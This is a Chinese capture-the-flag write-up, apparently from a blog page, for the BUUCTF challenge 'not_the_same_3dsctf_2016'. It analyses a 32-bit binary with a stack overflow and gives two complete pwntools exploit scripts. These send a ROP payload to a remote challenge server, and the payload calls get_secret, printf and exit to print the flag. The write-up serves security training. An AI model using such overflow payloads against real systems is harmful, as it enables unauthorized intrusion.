当前位置: 首页 > news >正文

buuctf中的not_the_same_3dsctf_2016

首先checksec检查保护机制:

-32位程序

-仅开启了栈不可执行保护

然后使用IDA反汇编工具进行分析:

main函数中有栈溢出漏洞可利用,左边有get_secret函数,同时看出v4到栈底的偏移为45,原本需要填充49字节的垃圾数据,但是最终实验只需要45个字节的垃圾数据

这是get_secret函数内部:

这里打开了flag.txt文本文件,这几行代码的作用就是将flag.txt中的内容写入到fl4g这个变量中去,想就是flag了吧,但是发现我们还得自己去调用printf函数将fl4g的内容打印出来才能拿到flag

这里先拿到flag变量的地址:0x080ECA2D

get_secret函数的地址:0x080489A0

在IDA中找到printf函数的地址:0x0804F0A0

由于栈溢出执行完printf函数后需要正常退出才能打印出flag的值,所以还需用到exit函数的地址,同样在IDA中拿到:0x0804E660

这是exp攻击脚本:

payload需要先执行get_secret函数将flag读取到对应的变量中后我们再将这个变量的值printf出来

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 printf_addr = 0x0804F0A0 get_secret_addr = 0x080489A0 flag_addr = 0x080ECA2D exit_addr = 0x0804E660 offset = 45 payload = b'a'*offset + p32(get_secret_addr) +p32(printf_addr) + p32(exit_addr) + p32(flag_addr) io.sendline(payload) io.interactive()

在IDA中一个一个找函数的地址如果嫌太麻烦的话,攻击脚本还可以这样写:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 elf = ELF('./pwn') get_secret_addr = elf.symbols["get_secret"] printf_addr = elf.symbols["printf"] exit_addr = elf.symbols["exit"] flag_addr = 0x080ECA2D offset = 45 payload = b'a'*offset+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr) io.sendline(payload) io.interactive()

这是运行结果:

-成功打印出flag

http://www.gsyq.cn/news/116561.html

相关文章:

  • 终极指南:如何免费解锁Sidecar功能,让老旧iPad变身Mac副屏
  • RobotLab机器人强化学习平台完整使用指南
  • RuoYi-Vue3:现代化企业级后台管理系统开发框架深度解析
  • 【全球网络安全报告】哪些国家最脆弱?深度解析网络攻击数据与防御力
  • CodeCombat游戏化编程教育的破局之道:从教学痛点走向技术赋能
  • NanoPi R5S性能测试:开源固件网络加速终极方案
  • 从兼容到超越:金仓数据库开启三重革新新纪元!
  • 云服务器入门指南——从概念到选型的完整解析
  • OpenUtau终极指南:5步快速掌握免费音乐合成平台
  • EmotiVoice语音呼吸感模拟技术增加真实度
  • EmotiVoice在生日祝福语音中的欢快演绎
  • EmotiVoice能否用于远程医疗语音通知系统?HIPAA合规考量
  • 企业级语音项目首选:EmotiVoice高性能TTS引擎
  • XVim终极使用指南:掌握Xcode中的Vim编辑技巧
  • 如何快速构建跨平台移动应用:yudao-cloud + UniApp 终极实践指南
  • React 的位掩码标记系统
  • JAVA基于多线程机制的理解
  • 视频体积减少94.39%,极致视频压缩软件,纯本地离线免费用!秒杀小丸工具箱,支持Win/Mac CompressO
  • BiliPlus终极指南:重新定义你的B站观看体验
  • 直播场景中的语音创新:用EmotiVoice生成实时互动语音
  • EmotiVoice语音合成多区域部署架构设计
  • 41、Linux 服务器邮件过滤与安全防护指南
  • 调用nt!KiExitDispatcher的又一个函数nt!KeInsertQueueApc和nt!KiProcessDeferredReadyList函数分析和全局变量nt!KiIdleSummar
  • Hslcommunication
  • Ditto剪贴板管理器完整使用指南:从新手到高手的快速上手教程
  • PubMedBERT嵌入模型:生物医学语义搜索的终极指南
  • 【毕业设计】基于SpringBoot的青少年编程学习系统设计与实现基于Java的scratch少儿编程学习网站系统的设计与实现(源码+文档+远程调试,全bao定制等)
  • ThinkPad T480终极改造:用OpenCore实现完美macOS体验的完整指南
  • 2025年AI搜索推广公司推荐,这5家凭硬核实力成行业优选
  • 域控操作十七:一般员工提权直接安装软件